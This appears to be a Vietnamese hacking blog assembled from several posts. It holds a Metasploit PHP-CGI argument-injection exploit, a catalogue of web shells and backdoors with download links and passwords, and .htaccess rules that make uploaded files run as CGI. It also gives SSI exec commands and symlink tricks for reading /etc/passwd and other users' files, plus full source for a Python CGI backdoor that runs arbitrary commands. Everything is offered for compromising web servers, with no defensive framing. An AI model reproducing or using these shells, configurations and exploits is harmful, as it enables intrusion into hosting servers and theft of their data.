Exploit php-CGI

http://www.mediafire.com/?subbod84wcgbbk3

use exploit/multi/http/php_cgi_arg_injection
set RHOST 192.168.178.210
set TARGETURI /phpinfo.php
set PAYLOAD php/exec
set CMD echo \"owned\">/var/www/html/owned.html
exploit

Exploit php-CGI

By: MIN Software on: 8:43 PM

Tổng hợp Shell và giới thiệu tính năng!

Nói đến local là nói đến shell, không có shell thì chỉ local bằng niềm tin. Hôm nay soleil giới thiệu một số loại shell thông dụng không thể thiếu trong local attack.

Một số shell thông dụng:

r57.php

http://www.mediafire.com/?25gsg6fqtp48cdl

R57 hiện nay đang là shell thông dụng, được sử dụng phổ biến nhất với hầu như là đầy đủ các tính năng.

c99.php

http://www.mediafire.com/?npsob8c7dd9nr40

Nói đến r57 cũng không thể  không nhắc đến c99 với các thao tác có sẵn trên shell mà không cần phải sử dụng lệnh: edit, del, insert, drop… đặc biệt là có khả năng dump cơ sở dữ liệu!

byg.php

http://www.mediafire.com/?33wykc6rumc3cf9

Byg hiện đang là shell mà được soleil sử dụng nhiều nhất với các chức năng có sẵn và thao tác dễ sử dụng

pass login: byg

         
         vhb.php

     Con shell này đã được soleil Edit và Deveple bằng chính con shell Byg.php trên với 1 số tính năng mạnh hơn và giao diện đẹp, bắt mắt hơn. Đây là con shell chính mà soleil thường sử dụng nhất.
  

http://www.mediafire.com/?hr9acl1yd1eabcw 

    Pass login: vhb

soleil.pin

Nếu Server Safe_mod: ON,  cả shell r57 và c99 đều không có chức năng run command để thực thi các câu lệnh, vậy làm sao có thể local được. Giải pháp được nghĩ đến là sử dụng shell cgi mà chức năng chính của nó là thực thi các câu lệnh.

 Pass login: ducdung.08clc

Cách sử dụng:

-          Up shell soleil.pin và CHMOD nó về 755

-          Up hoặc tạo file .htaccess có nội dung:

## START ##

Options +ExecCGI

AddHandler cgi-script cgi pl cgi gmc pin jpg

RewriteEngine on

RewriteRule (.*)\.mil$ $1.cgi

Options +FollowSymLinks

DirectoryIndex cmd.html

Options +Indexes

RemoveHandler .hack

AddType text/plain .hack

## milw0rmvn exploit ##

Hoặc:

Options FollowSymLinks MultiViews Indexes ExecCGI

AddType application/x-httpd-cgi .cin

AddHandler cgi-script .pin

AddHandler cgi-script .pin

telnet.php

http://www.mediafire.com/?t9cavs1n0ipthq1

Để sử dụng shell cgi được thuận tiên hơn, soleil giới thiệu shell telnet.pl. Chức năng hoàn toàn tương tự với con shell soleil.pin

Tuy nhiên cách thức sử dụng nó thì đơn giản hơn nhiều vì không phải sử dụng đến file .htaccess mà chỉ cần CHMOD nó về 755 là run ngon.

Fake symlink:

http://www.mediafire.com/?fc9kencnilx0rm4

Get user:

http://www.mediafire.com/?gic70c6ce441333

Get user và domain

http://www.mediafire.com/?6n3x3nb340dq2g8

 

Shell này cần chmod về 755 trước khi sử dụng

http://www.mediafire.com/?2rk42hiv9b4ii3f

Get all config

http://www.mediafire.com/?hi4gnmu3kpxn095

 

SSI

http://www.mediafire.com/?vyqfaap9aarl75v

 

Backdoor.php

http://www.mediafire.com/?etciiuskzvyhjcw

 

Netcut

http://www.mediafire.com/?npsob8c7dd9nr40

zipcode.php

http://www.mediafire.com/?83ocom3w4r6ilfp

 

r57bypass.php (vip)

http://www.mediafire.com/?sqjs5du3srlifqt

 

Check Shell : Kiểm tra shell có trên site

http://www.mediafire.com/?ruh9r1i2d2tcpvn

 

Priv8_2012.php

http://www.mediafire.com/?2hw2xr8wpg902er

 

saoluu.php

http://www.mediafire.com/?ajm9l3uhgxx9jq6

Shell xml: Up shell đối với vbulletin

http://www.mediafire.com/?tdhe6l8bb676woq

http://www.mediafire.com/?nw1y3ui404zufyd

 

root.tar.gz: Dùng để symlink root hay indirect symlink.

http://www.mediafire.com/?21kycoh4g5s4ojo 

* Và rất nhiều shell khác  với 1 số tính năng đặc biệt khác nữa.

...
Pass Unlock (all link): soleil_vhb

Nguồn: Hồ Đức Dũng's Blog
Hiệu chỉnh bởi Juno_okyo.

Tổng hợp Shell và giới thiệu tính năng!

By: MIN Software on: 6:51 PM

Tools Hacker

Shell Cgi (cgi.x-zone) khi gỏ command nó sẽ mã hóa dòng lệnh ,có thể qua mặt vài server

http://www.mediafire.com/?45fsa46y5bdobfa

telnet 1.4

http://www.mediafire.com/file/25587ndv7y4hy29/1.4.pl

bypass mod sec (base64)

Telnet 1.3

http://www.mediafire.com/?eayxc5k8utpqeig

.htaccess

Options +FollowSymLinks +Indexes
DirectoryIndex default.html
## START ##
Options +ExecCGI
AddHandler cgi-script cgi pl tg love h4 tgb cbg

RewriteEngine on
RewriteRule (.*)\.war$ $1.cgi
## END ##
RemoveHandler .vkl
AddType application/octet-stream .vkl

~> 2 dòng cuối khi symljnk ghi vào file.vkl thì file này load trên trình duyệt sẽ tự download về

Admin Finder (tìm thư mục admin)

http://www.mediafire.com/?skaysiedncckx4k

cmd.shtml > view source cmd.shtml

<!--#exec cmd="dir /home/victim/public_html/" -->

 cmd.shtml (1.txt là file đã được symljnk) > view source cmd.shtml

<!--#include virtual='1.txt'-->

Bypass ln.zip

<?php
chmod('ln',0777);
system('./ln -s /etc/passwd > 1.txt');
?>

hoặc

./ln -s /home/victim/public_html/index.php 1.txt

File SymLink.php

/home/victim/public_html/index.php

Find Path qua error-log : http://victim.com/fuck

tail -100 /var/log/httpd/domains/siteA.error.log | grep fuck
tail -100 /usr/local/apache/logs/error_log | grep fuck

 Shell offline.php?acc ~> get user admin ,nhiều chức năng ,ko bị lổi trên các server config kỉ

http://www.mediafire.com/?r19m52itzq71x5z

Backuper.php (Leech code)

http://www.mediafire.com/?kp1p40fnwc2171k

Shell Unkonw (Brute)

http://www.mediafire.com/?hvxjzrm1tjgbwmp

Shell images (r57)

http://www.mediafire.com/?lh0nslgadbsb5ab

Shell images (Webadmin)

http://www.mediafire.com/?lc6cizbpw5ijoio

Shell Dumper.php (Zip + Restor data)

http://www.mediafire.com/?9ecl9efdk4mw3hm

Shell images aaa.php.jpg - shell upload

http://www.mediafire.com/i/?d61ubhb1qw11dst

Shell help.php (upload file + chmod)

http://www.mediafire.com/?j3u0mx4fj6xfmag

Unzip.php (giải nén các file bị zip)

http://www.mediafire.com/?1bhs7jmvly3e1b4

Con shell này tạo ra thêm 2 file để thực hiện zip
Nếu ko tạo đc 2 file này thì chúng ta sẽ tự tạo 2 file đó

http://www.mediafire.com/?ims0mlwa9e3yzl1

telnet v1.3 (ko cần htaccess)

http://www.mediafire.com/?t1uu3cr6h6aag5c

sym-pl.pl (symljnk cgi ko cần htaccess)

http://www.mediafire.com/?o8fm7bmw90882hq

Shell Root ( thực thi các dòng lệnh sẽ show ra trình duyệt - chỉ sd 1 số sv)

http://www.mediafire.com/?f86f88nfesduuyp

Locus Shell (back connect)

http://www.mediafire.com/?0vk8v5m8kzcqgvf

perl shell mr.thien (BackConnect)

http://www.mediafire.com/?qedquldy39ilgn9

Mysqldumper.php (BackConnect)

http://www.mediafire.com/?ei0anxe4vnsg04f

5.2.9 (BYpass)

http://www.mediafire.com/?086h5hq21165ubj

dot.pl (tim user+domain)

http://www.mediafire.com/?gnh3sv8273gp41e

upload.phpl (upload len path)

http://www.mediafire.com/?cwax1iinx4ogoap

shell.xml (prefix admincp)

http://www.mediafire.com/?82ht3sd6hpyyq7m

shell ,tạo file symljnk đối với từng version php ,direct , h4ckcity.php
sql deface vbb,wp,mybb sql.php
html shell có thể view file bị permiss html.php

http://victim.com/html.php?http://ww...file=index.php

shell python.php (chức năng tạo shell cgi,py,bypass,sql wp& jomla,....)

http://www.mediafire.com/?i43rj8ghhzw8sno

hoặc

python.py

shell sec4ever .qua mặt anti với code hoàn toàn # c99 & r57

http://www.mediafire.com/?5mhaacll6pzd9jt

vault.php (editor,webshell,bind)

http://www.mediafire.com/?a8c889wg81fjk2q

saudi.php (symljnk root ,brute,...)

http://www.mediafire.com/?0yyyio6fv8h1axr

sa2.0.php(resever,symljnk root,upload)

http://www.mediafire.com/?9zbsj162ve49kku

madspotshell.php(symlink tung user)

http://www.mediafire.com/?4csxq5egze6kwcd

r57-vip.php symljnk

http://www.mediafire.com/?3ydv9h1p8xgpfa7

Tools Hacker

By: MIN Software on: 6:37 AM

CGI python backdoor

  

#!/usr/bin/env python
# Info : Linux based CGI backdoor with python
# author: otoy
# date : 0x102010

import cgi,os,re,sys

form = cgi.FieldStorage()
cmd = form.getvalue('cmd', '')
osexe = os.popen(cmd)

dirt = os.getcwd()+'/'
prognm = sys.argv[0].strip()
progfl = re.findall(dirt+'(.*)',prognm)[0]

osinf = os.uname()
info='''====================================
CGI python backdoor
====================================
Author : otoy
Date : 0x102010
Blog : <a href="http://otoyrood.wordpress.com" target="_blank">otoyrood.wordpress.com</a>
====================================
System : %s %s
====================================
''' %(osinf[0], osinf[2])

print "Content-type: text/html"
print

print"""
<html>
<head>
<title>CGI python backdoor</title>
</head>
<body>
<pre>%s</pre>
<form action='%s'>
Command <input type='text' name='cmd' />
<input type='submit' />
</form>
<pre>%s</pre>
</body>
</html>
""" %(info,progfl,osexe.read())

CGI python backdoor

By: MIN Software on: 9:14 PM